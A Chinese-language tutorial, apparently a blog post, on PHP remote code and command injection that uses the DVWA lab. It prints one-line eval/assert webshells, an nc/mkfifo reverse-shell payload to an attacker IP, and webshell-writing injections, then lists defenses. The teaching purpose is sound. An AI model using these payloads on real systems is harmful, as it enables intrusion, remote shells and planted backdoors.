概述

产生原因:

应用未对用户输入做严格的检查过滤,导致用户输入的参数被当成命令来执行。

危害:

  1. 继承Web服务程序的权限去执行系统命令或读写文件
  2. 反弹shell,获得目标服务器的权限
  3. 进一步内网渗透

远程命令执行

在PHP中,有时候需要调用一些执行命令的函数,如:eval()assert()preg_replace()create_function()等,如果存在一个使用这些函数且未对可被用户控制的参数进行检查过滤的页面,那么这个页面就有可能存在远程命令执行漏洞。

eval() 和 assert() 函数

eval() 和 assert() 函数都可以执行参数内的代码,且接受的参数为字符串。

注意:eval() 函数传入的参数必须为PHP代码,即要以分号结尾,而assert() 函数不需要以分号结尾。

例子:

1
<?php @eval($_POST['cmd']);?>

image-20210530161554120

1
<?php @assert($_POST['cmd']);?>

image-20210530161938256

preg_replace 函数

使用:preg_replace(‘正则规则’,’替换字符’,’目标字符’)

1
<?php preg_replace("/test/e",$_POST["cmd"],"just test");?>

image-20210530164938087

原理:PCRE修饰符e:preg_replace()在进行了对替换字符串的后向引用替换之后,将替换后的字符串作为php代码执行(eval函数方式),并使用执行结果作为实际参与替换的字符串。

注意:php5.5后,/e修饰符已经被弃用!

array_map()函数

将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

例子(高版本的php可能不适用):

1
2
3
4
5
6
7
<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
?>

image-20210530170647764

类似函数:

  • create_function()
  • call_user_func()
  • all_user_func_array()
  • array_filter()
  • uasort()

动态函数

利用动态函数执行,PHP函数可直接由字符串拼接而成。

例子(高版本PHP不适用):

1
2
3
4
5
<?php
$a=$_GET['a'];
$b=$_GET['b'];
echo $a($b);
?>

image-20210530171952315

系统(本地)命令执行

利用PHP 的系统命令执行函数来调用系统命令并执行,这类函数有system()exec()shell exec()passthru() penti_exec() popen() proc_pen()等,此外还有反引号命令执行,这种方式实际上是调用shell_exec()函数来执行。

  • system():执行外部程序﹐并且显示输出
  • exec()∶执行一个外部程序
  • shell_exec():通过 shell环境执行命令,并且将完整的输出以字符串的方式返回
  • passthru() :执行unix系统命令并且显示原始输出
  • pcntl_exec() :在当前进程空间执行指定程序
  • popen():打开进程文件指针
  • proc_open():执行一个命令,并且打开用来输入/输出的文件指针。

反引号命令执行:

1
2
3
4
<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

image-20210530173408877

命令执行常用连接字符

  • cmd1|cmd2:无论cmd1是否执行成功,cmd2将被执行
  • cmd1;cmd2:无论cmd1是否执行成功,cmd2将被执行
  • cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
  • cmd1&&cmd2:仅在cmd1执行成功后时才执行cmd2

漏洞利用

靶场:DVWA-Command Injection

执行系统命令

未对用户输入的参数IP做任何过滤,构造payload:127.0.0.1|whoami

image-20210531000905013

反弹shell

更多姿势见:LINUX下反弹SHELL的种种方式

nc反弹shell

先在attacker机器上监听某一端口

image-20210531000237919

利用命令执行漏洞反弹shell

1
127.0.0.1;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.101.187 6666 >/tmp/f

image-20210531000306609

可以看到shell成功反弹到了kali上面,可以执行命令:

image-20210531000350723

写shell

payload1:

1
127.0.0.1|echo "<?php @eval($_POST['cmd']);?>">1.php

image-20210531003610100

image-20210531003851239

payload2(分号被过滤时):

1
127.0.0.1|echo "<?php ($_=@$_GET[2]).@$_($_POST[1])?>">3.php

image-20210531004035590

image-20210531004530326

防御

禁用高危系统函数

phpinfo() 、eval() 、passthru() 、chroot()、 scandir()、chgrp() 、 chown() 、 shell_exec() 、 proc_open()、proc_get_status() 、 ini_alter() 、ini_alter()、ini_restore()、dl()、 pfsockopen() 、 openlog() 、syslog()、 readlink()、symlink() 、 popepassthru() 、stream_socket_server() 、fsocket() 、 fsockopen()

在php安装目录中找到php配置文件php.ini,找到disable_functions,在后面添加禁用的函数名,函数名之间以英文逗号分隔

严格过滤特殊字符

从前面的例子可以发现在利用命令执行漏洞时会利用一些特殊的连接符,用来拼接执行的命令。对此,可创建仅包含允许的字符或命令列表的白名单以验证用户输入。

开启safe_mode

safe_mode : php安全模式,通俗的说就是以安全模式运行php

在php.ini文件里面设置safe_mode = On即可开启

参考资料

[1] LINUX下反弹SHELL的种种方式